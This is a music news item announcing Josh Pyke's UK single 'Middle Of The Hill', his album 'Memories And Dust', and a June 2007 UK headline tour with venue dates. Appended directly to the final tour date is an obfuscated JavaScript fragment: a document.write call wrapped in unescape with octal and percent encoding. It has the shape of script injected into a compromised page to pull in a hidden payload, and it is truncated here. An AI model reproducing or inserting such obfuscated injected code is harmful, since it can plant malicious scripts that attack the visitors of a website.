Josh Pyke single release and dates

Australian troubadour Josh Pyke will release his debut single in the UK on May 7th 2007. Entitled Middle Of The Hill, it's taken from his forthcoming debut album proper Memories And Dust, which will be released on May 21st. Memories And Dust recently entered the Australian album charts in the top 5.

"Middle Of The Hill is absolutely my most personal and literal song, yet what's funny is it seems to be the one which most people have connected to on some personal level for them as well." Josh Pyke is talking about the song that's seriously raised his profile in Australia, and is about to do the same here. "The thing is it's a totally true story about growing up, my sisters, my family, which just flowed out in a stream-of-consciousness style. When people say - ah, you're singing about my life! - I think: Really? Was there really a girl up your road whose dog had its voice box chopped out with an axe? And two strange men in a white van who said the phone booth was loaded with money? Because those things did happen to me, and I can't imagine they happened in two places in Australia at the same time… But I guess everyone had a childhood, everybody's got a family one way or another, so there's that common universal vibe…"

Josh Pyke has had a busy 2007 so far, having toured the UK twice – once headlining and once in support of Scott Matthews – and completed a successful weekly residency at London's Luminaire. He's also just announced a June headline tour, with support from Terra Naomi.

The dates are:

Fri 01-June - Newcastle Academy
Sun 03-June – York Fibbers
Mon 04-June - Bristol Academy
Tues 05-June - Brighton Barfly
Wed 06-June - London Dingwalls
Fri 08-June - Nottingham The Social
Sat 09-June - Sheffield Leadmill
Sun 10-June - Leeds Faversham
Tues 12-June - Glasgow The Admiral
Wed 13-June - Manchester Roadhouse
Thurs 14-June - Southampton Joinersdocument.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;